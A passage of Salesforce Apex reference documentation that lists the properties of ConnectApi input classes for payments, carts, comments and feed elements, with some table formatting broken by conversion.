<tr>
<td>accountId</td>
<td>String</td>
<td>Salesforce account that contains the payment transaction being authorized.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>amount</td>
<td>Double</td>
<td>Authorization amount.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>comments</td>
<td>String</td>
<td>Optional comments for the payment authorization.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>currencyIsoCode</td>
<td>String</td>
<td>Three-letter ISO 4217 currency code associated with the payment group record.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>effectiveDate</td>
<td>Datetime</td>
<td>Date that the authorization will be applied to the transaction.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>paymentGatewayId</td>
<td>String</td>
<td>Payment gateway that processes the authorization.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>paymentGroup</td>
<td>ConnectApi.PaymentGroupRequest</td>
<td>Payment group for the authorization. The payload must reference either a paymentGroup or a paymentGroupId, but not both.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>paymentMethod</td>
<td>ConnectApi.AuthApiPaymentMethodRequest</td>
<td>Payment method used in the payment gateway for the authorization transaction.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.BannerPhotoInput**

A banner photo.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cropHeight</td>
<td>Integer</td>
<td>Height of the crop rectangle in pixels.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
<tr>
<td>cropWidth</td>
<td>Integer</td>
<td>Width of the crop rectangle in pixels.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
<tr>
<td>cropX</td>
<td>Integer</td>
<td>X position of the crop rectangle from the left edge of the image in pixels. Top left is position (0,0).</td>
<td>Optional</td>
<td>36.0</td>
</tr>
<tr>
<td>cropY</td>
<td>Integer</td>
<td>Y position of the crop rectangle from the top edge of the image in pixels. Top left is position (0,0).</td>
<td>Optional</td>
<td>36.0</td>
</tr>
<tr>
<td>fileId</td>
<td>String</td>
<td>18 character ID of an existing file. The key prefix must be 069 and the file must be an image and be smaller than 2 GB.</td>
<td>Required</td>
<td>36.0</td>
</tr>
</tbody>
</table>

**Note:** Images uploaded on the Group page and on the User page.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>versionNumber</td>
<td>Integer</td>
<td>Version number of an existing file. If not provided, the latest version is used.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
</tbody>
</table>

**ConnectApi.BaseRequest**

Base parameters for making a request to the payment gateway.

This class is abstract.

Subclass of `ConnectApi.AuditParamsRequest`.

Superclass of:
- `ConnectApi.AuthorizationRequest`
- `ConnectApi.AuthorizationReversalRequest`
- `ConnectApi.CaptureRequest`
- `ConnectApi.RefundRequest`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalData</td>
<td><code>Map&lt;String, String&gt;</code></td>
<td>An optional map of additional parameters to be sent to the payment gateway.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>idempotencyKey</td>
<td><code>String</code></td>
<td>Idempotency key.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
</tbody>
</table>

**ConnectApi.BaseApiPaymentMethodRequest**

Payment method API input representation.

This class is abstract.

Subclass of `ConnectApi.AuthApiPaymentMethodRequest`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>address</td>
<td><code>ConnectApi.AddressRequest</code></td>
<td>Payment method address.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>id</td>
<td><code>String</code></td>
<td>Payment method record ID. Used in payment transactions.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>saveForFuture</td>
<td><code>Boolean</code></td>
<td>Shows whether Salesforce saves the payment method for future use.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>
ConnectApi.BasePaymentMethodRequest

Base payment method input representation.
This class is abstract.
Superclass of ConnectApi.CardPaymentMethodRequest.
No additional properties.

ConnectApi.BatchInput

Construct a set of inputs to be passed into a method at the same time.

Use this constructor when there isn't a binary input:

ConnectApi.BatchInput(Object input)

Use this constructor to pass one binary input:

ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)

Use this constructor to pass multiple binary inputs:

ConnectApi.BatchInput(Object input, List<ConnectApi.BinaryInput> binaries)

The constructors take these parameters:

<table>
<thead>
<tr>
<th>Argument</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>input</td>
<td>Object</td>
<td>An individual input object to be used in the batch operation. For example, for postFeedElementBatch(), this should be ConnectApi.FeedElementInput.</td>
<td>32.0</td>
</tr>
<tr>
<td>binary</td>
<td>ConnectApi.BinaryInput</td>
<td>A binary file to associate with the input object.</td>
<td>32.0</td>
</tr>
<tr>
<td>binaries</td>
<td>List&lt;ConnectApi.BinaryInput&gt;</td>
<td>A list of binary files to associate with the input object.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- Post a Batch of Feed Elements
- Post a Batch of Feed Elements with a New (Binary) File

ConnectApi.BinaryInput

Create a ConnectApi.BinaryInput object to attach files to feed items and comments and to add repository files.

The constructor is:

ConnectApi.BinaryInput(blob, contentType, filename)

The constructor takes these arguments:
<table>
<thead>
<tr>
<th>Argument</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>blob</td>
<td>Blob</td>
<td>Contents of the file to be used for input</td>
<td>28.0</td>
</tr>
<tr>
<td>contentType</td>
<td>String</td>
<td>MIME type description of the content, such as image/jpg</td>
<td>28.0</td>
</tr>
<tr>
<td>filename</td>
<td>String</td>
<td>File name with the file extension, such as UserPhoto.jpg</td>
<td>28.0</td>
</tr>
</tbody>
</table>

See Also:
- Post a Feed Element with a New File (Binary) Attachment
- Post a Comment with a New File
- ConnectApi.BatchInput

**ConnectApi.BookmarksCapabilityInput**

Create or update a bookmark on a feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isBookmarked</td>
<td>Boolean</td>
<td>Specifies if the feed element should be bookmarked for the user (true) or not (false).</td>
<td>No</td>
<td>32.0</td>
</tr>
<tr>
<td>ByCurrentUser</td>
<td>String</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

See Also:
- ConnectApi.FeedElementCapabilitiesInput

**ConnectApi.CardPaymentMethodRequest**

Card payment method input representation.

Subclass of ConnectApi.BasePaymentMethodRequest.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accountId</td>
<td>String</td>
<td>Salesforce account to which this payment method is linked.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>cardCategory</td>
<td>ConnectApi/CardCategory</td>
<td>Card processing type. Valid values are: • CreditCard • DebitCard</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>cardHolderFirstName</td>
<td>String</td>
<td>First name of the card holder.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>cardHolderLastName</td>
<td>String</td>
<td>Last name of the card holder.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>cardHolderName</td>
<td>String</td>
<td>Full name of the card holder.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cardNumber</td>
<td>String</td>
<td>Card number.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>cardType</td>
<td>String</td>
<td>Card network type. Valid values are:</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- AmericanExpress</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- DinersClub</td>
<td></td>
<td></td>

<tr>
<td></td>
<td></td>
<td>- Maestro</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Visa</td>
<td></td>
<td></td>
</tr>
<tr>
<td>comments</td>
<td>String</td>
<td>Optional comments for the card payment method.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>cvv</td>
<td>String</td>
<td>CVV.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>email</td>
<td>String</td>
<td>Email.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>expiryMonth</td>
<td>Integer</td>
<td>Card expiration month.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>expiryYear</td>
<td>Integer</td>
<td>Card expiration year.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>nickName</td>
<td>String</td>
<td>Optional nickname for the card.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>startMonth</td>
<td>Integer</td>
<td>Start month of the card.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>startYear</td>
<td>Integer</td>
<td>Start year of the card.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.CartInput

A cart.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>effective</td>
<td>String</td>
<td>ID of the account for which the request is made.</td>
<td>Optional</td>
<td>49.0</td>
</tr>
<tr>
<td>AccountId</td>
<td></td>
<td>If unspecified, defaults to the account ID for the context user.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the cart. The name can have up to 250 Unicode characters. If unspecified, defaults to the generated name.</td>
<td>Optional</td>
<td>49.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.CartType</td>
<td>Type of cart. Value is Cart. If unspecified, defaults to Cart.</td>
<td>Optional</td>
<td>49.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.CartItemInput

An item in a cart.
### ConnectApi.CartMessagesVisibilityInput
Set the visibility for cart messages.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>visibility</td>
<td>Boolean</td>
<td>Specifies whether to set cart messages as visible (<code>true</code>) or not (<code>false</code>).</td>
<td>Required</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CartToWishlistInput
Copy products from a cart to a wishlist.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>wishlistId</td>
<td>String</td>
<td>ID of the wishlist to copy cart products to.</td>
<td>Required</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CanvasCapabilityInput
Create or update a canvas app associated with a feed element.
This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>A description of the canvas app. The maximum size is 255 characters.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CaptureRequest

Payment capture input consumed by the payment capture service.

Subclass of `ConnectApi.BaseRequest`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accountId</td>
<td>String</td>
<td>ID of the account linked to the capture request.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>amount</td>
<td>Double</td>
<td>Amount captured from the previous authorization.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>clientContext</td>
<td>String</td>
<td>Context for payment APIs. Used for a payment caller to re-establish context.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>comments</td>
<td>String</td>
<td>Comments for the payment capture.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>effectiveDate</td>
<td>Datetime</td>
<td>Date when the payment becomes effective.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>paymentGroup</td>
<td>ConnectApi.PaymentGroupRequest</td>
<td>Details about the payment group record associated with the payment request.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ChangeInputRepresentation

A list of changes to OrderItemSummaries that make up an order change, such as a cancel or return.
### changeItems

**Type:** List<ConnectApi.ChangeItemInputRepresentation>  
**Description:** List of changes to OrderItemSummaries. Required  
**Available Version:** 48.0

#### SEE ALSO:
- previewCancel(orderSummaryId, changeInput)  
- previewReturn(orderSummaryId, changeInput)  
- submitCancel(orderSummaryId, changeInput)  
- submitReturn(orderSummaryId, changeInput)

### ConnectApi.ChangeItemInputRepresentation

Change to an OrderItemSummary, such as a return or cancel. You specify whether to prorate the associated shipping charge based on the price change. The OrderItemSummary can’t be a shipping charge.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>orderItemSummaryId</td>
<td>String</td>
<td>ID of the OrderItemSummary.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>Quantity to change. Use a positive value.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>reason</td>
<td>String</td>
<td>Reason for the change. The value must match one of the picklist values on the Reason field of the OrderItemSummaryChange object.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>shippingReductionFlag</td>
<td>Boolean</td>
<td>Specifies whether to prorate the shipping charge.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

#### SEE ALSO:
- ConnectApi.ChangeItemInputRepresentation  
- previewCancel(orderSummaryId, changeInput)  
- previewReturn(orderSummaryId, changeInput)  
- submitCancel(orderSummaryId, changeInput)  
- submitReturn(orderSummaryId, changeInput)
### ConnectApi.ChatterGroupInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available</th>
</tr>
</thead>
<tbody>
<tr>
<td>announcement</td>
<td>String</td>
<td>The 18-character ID of an announcement. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>canHave ChatterGuests</td>
<td>Boolean</td>
<td>true if this group allows Chatter customers, false otherwise. After this property is set to true, it cannot be set to false.</td>
<td>29.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>The “Description” section of the group.</td>
<td>29.0</td>
</tr>
<tr>
<td>information</td>
<td>ConnectApi.ChatterGroupInformationInput</td>
<td>The “Information” section of a group. If the group is private, this section is visible only to members.</td>
<td>28.0</td>
</tr>
<tr>
<td>isArchived</td>
<td>Boolean</td>
<td>true if the group is archived, false otherwise. Defaults to false.</td>
<td>29.0</td>
</tr>
<tr>
<td>isAutoArchiveDisabled</td>
<td>Boolean</td>
<td>true if automatic archiving is turned off for the group, false otherwise. Defaults to false.</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the group.</td>
<td>29.0</td>
</tr>
<tr>
<td>owner</td>
<td>String</td>
<td>The ID of the group owner. This property is available for PATCH requests only.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
| visibility             | ConnectApi.ChatterGroupVisibilityType | Group visibility type.  
• PrivateAccess—Only members of the group can see posts to this group.  
• PublicAccess—All users within the Experience Cloud site can see posts to this group.  
• Unlisted—Reserved for future use. | 29.0      |

SEE ALSO:

- `updateGroup(communityId, groupId, groupInput)`

### ConnectApi.ChatterStreamInput

A Chatter feed stream.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the stream, up to 1,000 characters.</td>
<td>Optional</td>
<td>39.0</td>
</tr>
</tbody>
</table>
### ConnectApi.StreamSubscriptionInput

A container for all capabilities that can be included with a comment.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the stream, up to 120 characters.</td>
<td>Required when creating a stream</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Optional when updating a stream</td>
<td></td>
</tr>
<tr>
<td>subscriptionsToAdd</td>
<td>List&lt;ConnectApi.StreamSubscriptionInput&gt;</td>
<td>List of up to 25 entities whose feeds are included in the stream.</td>
<td>Optional</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Adding an entity that is already added results in no operation. Including the same entity in subscriptionsToAdd and subscriptionsToRemove results in no operation.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>subscriptionsToRemove</td>
<td>List&lt;ConnectApi.StreamSubscriptionInput&gt;</td>
<td>List of entities whose feeds are removed from the stream.</td>
<td>Optional when updating a stream</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Removing an entity that is already removed results in no operation. Including the same entity in subscriptionsToAdd and subscriptionsToRemove results in no operation.</td>
<td>Not supported when creating a stream</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.CommentCapabilitiesInput

A container for all capabilities that can be included with a comment.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>content</td>
<td>ConnectApi.ContentCapability Input</td>
<td>Content to attach to the comment.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
<tr>
<td>feedEntityShare</td>
<td>ConnectApi.FeedEntityShareCapabilityInput</td>
<td>Feed entity to share to the comment.</td>
<td>Optional</td>
<td>42.0</td>
</tr>
<tr>
<td>record</td>
<td>ConnectApi.RecordCapabilityInput</td>
<td>Existing knowledge article to attach to the comment.</td>
<td>Optional</td>
<td>42.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.CommentInput
ConnectApi.CommentInput

A comment.

Used to add rich comments, for example, comments that include mentions or file attachments.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>attachment</td>
<td>ConnectApi.FeedItemAttachmentInput</td>
<td>Specifies an attachment for the comment. Valid values are:</td>
<td>Optional</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ContentAttachmentInput</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• NewFileAttachmentInput</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>LinkAttachmentInput is not permitted for comments.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the capabilities property.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>body</td>
<td>ConnectApi.MessageBodyInput</td>
<td>Description of message body. The body can contain up to 10,000 characters and 25 mentions. Because the character limit can change, clients should make a <code>describeSObjects()</code> call on the FeedItem or FeedComment object and look at the length of the <code>Body</code> or <code>CommentBody</code> field to determine the maximum number of allowed characters. To edit this property in a comment, use <code>updateComment(communityId, commentId, comment)</code>. Editing comments is supported in version 34.0 and later. Rich text and inline images are supported in comment bodies in version 35.0 and later. Entity links are supported in version 43.0 and later.</td>
<td>Required</td>
<td>28.0</td>
</tr>
<tr>
<td>capabilities</td>
<td>ConnectApi.CommentCapabilitiesInput</td>
<td>Specifies any capabilities for the comment, such as a file attachment.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
</tbody>
</table>
**threadParentId**  
String  
ID of the parent comment for a threaded comment.  
Optional  
44.0

**SEE ALSO:**

</thead>
<tbody>
<tr>
<td>creditMemoId</td>
<td>String</td>
<td>ID of the credit memo that represents a refund amount.</td>
<td>Optional, but at least one input property is required</td>
<td>48.0</td>
</tr>
<tr>
<td>excessFundsAmount</td>
<td>Double</td>
<td>Amount of excess funds to refund.</td>
<td>Optional, but at least one input property is required</td>
<td>49.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

ensureRefundsAsync(orderSummaryId, ensureRefundsInput)

### ConnectApi.EntityLinkSegmentInput

An entity link segment.
Subclass of `ConnectApi.MessageSegmentInput`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>entityId</td>
<td>String</td>
<td>ID of the entity to link to. Only users with access to the entity see it. It’s hidden for users without access.</td>
<td>Required</td>
<td>43.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ExtensionInput**

An extension.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>alternativeRepresentation</td>
<td>ConnectApi.AlternativeInput</td>
<td>Alternative representation of the extension.</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>extensionId</td>
<td>String</td>
<td>ID of the extension.</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>payload</td>
<td>String</td>
<td>Payload associated with the extension.</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>payloadVersion</td>
<td>String</td>
<td>Payload version that identifies the structure of the payload associated with the extension.</td>
<td>Optional</td>
<td>40.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

`ConnectApi.ExtensionsCapabilityInput`

**ConnectApi.ExtensionsCapabilityInput**

Create or update extensions associated with a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>itemsToAdd</td>
<td>List&lt;ConnectApi.ExtensionInput&gt;</td>
<td>List of extensions to associate with the feed element.</td>
<td>Required</td>
<td>40.0</td>
</tr>
</tbody>
</table>

2045
### itemsToRemove

**Type:** List<String>

List of attachment IDs to remove from the feed element.

- **Required or Optional:** Optional for updating an extension
- **Available Version:** 41.0

**Important:** Don’t specify for creating an extension

---

**SEE ALSO:**

ConnectApi.FeedElementCapabilitiesInput

### ConnectApi.FeedElementCapabilitiesInput

A container for all capabilities that can be included when creating a feed element.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>associatedActions</td>
<td>ConnectApi.AssociatedActionsCapabilityInput</td>
<td>Describes actions added to the feed element.</td>
<td>Optional</td>
<td>33.0</td>
</tr>
<tr>
<td>bookmarks</td>
<td>ConnectApi.BookmarksCapabilityInput</td>
<td>Describes bookmarks added to the feed element.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
<tr>
<td>canvas</td>
<td>ConnectApi.CanvasCapabilityInput</td>
<td>Describes a canvas app added to the feed element.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
<tr>
<td>content</td>
<td>ConnectApi.ContentCapabilityInput</td>
<td>Describes content added to the feed element.</td>
<td>Optional</td>
<td>32.0–35.0</td>
</tr>
</tbody>
</table>

**Important:** This class isn’t available for feed posts in version 36.0 and later. In version 36.0 and later, use ConnectApi.FilesCapabilityInput.

| directMessage     | ConnectApi.DirectMessageCapabilityInput   | Describes the direct message.                                              | Optional             | 39.0              |
| extensions        | ConnectApi.ExtensionsCapabilityInput       | Describes the extensions associated with the feed element.                | Optional             | 40.0              |
### ConnectApi.FeedElementCapabilityInput

A feed element capability.

In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item (and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation flags.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

This class is a superclass of:

- ConnectApi.AssociatedActionsCapabilityInput
- ConnectApi.BookmarksCapabilityInput
- ConnectApi.CanvasCapabilityInput
- ConnectApi.ContentCapabilityInput
- ConnectApi.DirectMessageCapabilityInput
- ConnectApi.ExtensionsCapabilityInput
- ConnectApi.FeedEntityShareCapabilityInput
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass of `ConnectApi.FeedItemInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>capabilities</td>
<td><code>ConnectApi.FeedElementCapabilitiesInput</code></td>
<td>The capabilities that define auxiliary information on this feed element.</td>
<td>Optional</td>
<td>31.0</td>
</tr>
</tbody>
</table>
| feedElementType   | `ConnectApi.FeedElementType`                  | The type of feed element this input represents.                                                                                                                                                            | Required when creating a feed element  
Optional when updating a feed element | 31.0              |
**subjectId**

- **Type**: String
- **Description**: The ID of the parent this feed element is being posted to. This value can be the ID of a user, group, or record, or the string `me` to indicate the context user.
- **Required or Optional**: Required
- **Available Version**: 31.0

In version 45.0 and later, you can move a feed element from one public group to another by setting this property to the ID of the new public group. You can’t include or change any other properties when moving a feed element.

**ConnectApi.FeedEntityShareCapabilityInput**

Share a feed entity with a feed post or comment.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

- **Property**: feedEntityId
- **Type**: String
- **Description**: ID of the feed entity to share with the feed post or comment.
- **Required or Optional**: Required
- **Available Version**: 39.0

**ConnectApi.FeedItemInput**

Used to create rich feed items, for example, feed items that include @mentions or files.

Subclass of `ConnectApi.FeedElementInput` as of version 31.0.

**SEE ALSO:**
- Post a Feed Element with a Mention
- Post a Feed Element with Existing Files
- Post a Feed Element with a New File (Binary) Attachment
- Define an Action Link and Post with a Feed Element
- Define an Action Link in a Template and Post with a Feed Element
- Share a Feed Element (in Version 39.0 and Later)
- Edit a Feed Element
- Edit a Question Title and Post
- Post a Rich-Text Feed Element with Inline Image

**ConnectApi Namespace**

Apex Developer Guide
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>attachment</td>
<td>ConnectApi.FeedItemAttachmentInput</td>
<td>Specifies the attachment for the feed item. The feed item type is inferred based on the provided attachment. Important: As of API version 32.0, use the inherited capabilities property.</td>
<td>Optional</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>body</td>
<td>ConnectApi.MessageBodyInput</td>
<td>Message body. The body can contain up to 10,000 characters and 25 mentions. Because the character limit can change, clients should make a describeSObjects() call on the FeedItem or FeedComment object and look at the length of the Body or CommentBody field to determine the maximum number of allowed characters. If you specify originalFeedElementId to share a feed item, use the body property to add the first comment to the feed item. To edit this property in a feed item, use updateFeedElement(communityId, feedElementId, feedElement). Editing feed posts is supported in version 34.0 and later.</td>
<td>Required unless the feed item has a link capability or a content capability.</td>
<td>28.0</td>
</tr>
<tr>
<td>isBookmarked</td>
<td>Boolean</td>
<td>Specifies if the new feed item should be bookmarked for the user (true) or not (false). Important: As of API version 32.0, use the capabilities.bookmarks.isBookmarkedByCurrentUser property.</td>
<td>Optional</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>originalFeedElementId</td>
<td>String</td>
<td>To share a feed element, specify its 18-character ID. Important: As of API version 39.0, use the capabilities.feedEntityShare.feedEntityId property.</td>
<td>Optional</td>
<td>31.0–38.0</td>
</tr>
<tr>
<td>originalFeedItemId</td>
<td>String</td>
<td>To share a feed item, specify its 18-character ID. Important: In API version 32.0–38.0, use the originalFeedElementId property. In API version 39.0 and later, use the capabilities.feedEntityShare.feedEntityId property.</td>
<td>Optional</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>visibility</td>
<td>ConnectApi.FeedItemVisibilityType</td>
<td>Type of users who can see a feed item. • AllUsers—Visibility is not limited to internal users. • InternalUsers—Visibility is limited to internal users.</td>
<td>Optional</td>
<td>28.0</td>
</tr>
</tbody>
</table>
Default values:

- For external users, the default value is `AllUsers`. External users must use this value to see their posts.
- For internal users, the default value is `InternalUsers`. Internal users can accept this value or use the value `AllUsers` to allow external users to see their posts.

If the parent of the feed item is a user, group, or direct message, the visibility of the feed item must be `AllUsers`.

---

**ConnectApi.FileIdInput**

Attach a file that has already been uploaded or remove a file from a feed element.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
